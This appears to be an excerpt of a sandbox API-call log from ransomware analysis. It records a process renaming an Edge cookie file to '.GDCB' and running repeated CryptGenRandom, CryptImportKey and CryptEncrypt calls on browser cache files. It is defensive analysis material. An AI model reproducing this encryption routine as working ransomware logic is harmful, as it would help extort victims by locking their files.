CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.979] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\U9PT9V3Q.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\u9pt9v3q.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.980] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.983] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.985] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x231, lpOverlapped=0x0) returned 1 [0248.994] VirtualAlloc (lpAddress=0x0, dwSize=0x240, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0249.000] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\U9PT9V3Q.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\u9pt9v3q.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\U9PT9V3Q.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\u9pt9v3q.txt.gdcb")) returned 1 [0249.026] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4980) returned 1 [0249.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.031] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.031] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.031] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.031] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4e48) returned 1 [0249.033] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.035] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.035] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.035] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.035] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4980) returned 1 [0249.038] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677fcc8) returned 1 [0249.038] CryptGetKeyParam (in: hKey=0x677fcc8, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.038] CryptEncrypt (in: hKey=0x677fcc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.038] GetLastError () returned 0x0 [0249.038] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.038] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.040] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677fd08) returned 1 [0249.040] CryptGetKeyParam (in: hKey=0x677fd08, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.040] CryptEncrypt (in: hKey=0x677fd08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.041] GetLastError () returned 0x0 [0249.041] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.041] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1ab36a6a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1ab36a6a[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.041] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.044] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.046] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.046] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.051] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.051] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.051] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.053] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677fe88) returned 1 [0249.053] CryptGetKeyParam (in: hKey=0x677fe88, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.053] CryptEncrypt (in: hKey=0x677fe88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc8a0000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc8a0000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.053] GetLastError () returned 0x0 [0249.053] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.054] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.055] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677f888) returned 1 [0249.055] CryptGetKeyParam (in: hKey=0x677f888, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.055] CryptEncrypt (in: hKey=0x677f888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc8b0000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc8b0000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.056] GetLastError () returned 0x0 [0249.056] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1acd62c3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1acd62c3[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.056] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.062] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.062] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.062] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.062] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.065] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.067] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.067] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.070] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.071] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.073] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677f948) returned 1 [0249.073] CryptGetKeyParam (in: hKey=0x677f948, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.073] CryptEncrypt (in: hKey=0x677f948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc8c0000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc8c0000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.073] GetLastError () returned 0x0 [0249.073] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.073] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4e48) returned 1 [0249.076] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677fa08) returned 1 [0249.080] CryptGetKeyParam (in: hKey=0x677fa08, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.080] CryptEncrypt (in: hKey=0x677fa08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc8d0000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc8d0000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.080] GetLastError () returned 0x0 [0249.080] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.080] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\236a1503[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\236a1503[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.081] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.084] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.087] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.087] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.087] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.087] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.090] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.092] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.092] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.092] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4e48) returned 1 [0249.095] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780048) returned 1 [0249.095] CryptGetKeyParam (in: hKey=0x6780048, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.095] CryptEncrypt (in: hKey=0x6780048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc8e0000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc8e0000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.095] GetLastError () returned 0x0 [0249.095] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.095] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.097] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677fd48) returned 1 [0249.097] CryptGetKeyParam (in: hKey=0x677fd48, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.097] CryptEncrypt (in: hKey=0x677fd48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc8f0000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc8f0000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.097] GetLastError () returned 0x0 [0249.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.097] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\36a8ead3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\36a8ead3[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.098] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.104] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.104] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.104] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4e48) returned 1 [0249.107] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.109] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.109] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.109] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.109] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.111] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677fec8) returned 1 [0249.111] CryptGetKeyParam (in: hKey=0x677fec8, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.111] CryptEncrypt (in: hKey=0x677fec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc900000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc900000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.112] GetLastError () returned 0x0 [0249.112] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.112] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.114] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677ff08) returned 1 [0249.114] CryptGetKeyParam (in: hKey=0x677ff08, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.114] CryptEncrypt (in: hKey=0x677ff08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc910000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc910000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.114] GetLastError () returned 0x0 [0249.114] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.114] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\3727cd16[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\3727cd16[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.114] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.118] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.120] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.120] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.120] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.120] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.127] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.127] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.127] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.128] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.130] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677ff48) returned 1 [0249.130] CryptGetKeyParam (in: hKey=0x677ff48, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.130] CryptEncrypt (in: hKey=0x677ff48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc920000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc920000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.131] GetLastError () returned 0x0 [0249.131] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.131] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.133] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677f8c8) returned 1 [0249.133] CryptGetKeyParam (in: hKey=0x677f8c8, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.133] CryptEncrypt (in: hKey=0x677f8c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc930000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc930000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.133] GetLastError () returned 0x0 [0249.133] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.133] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\41795194[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\41795194[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.133] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.136] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.139] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.139] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.139] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.139] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.141] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.143] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.144] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.144] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.144] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.147] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677f908) returned 1 [0249.147] CryptGetKeyParam (in: hKey=0x677f908, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.147] CryptEncrypt (in: hKey=0x677f908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc940000*, pdwDataLen=0x285c984*=0xc8, 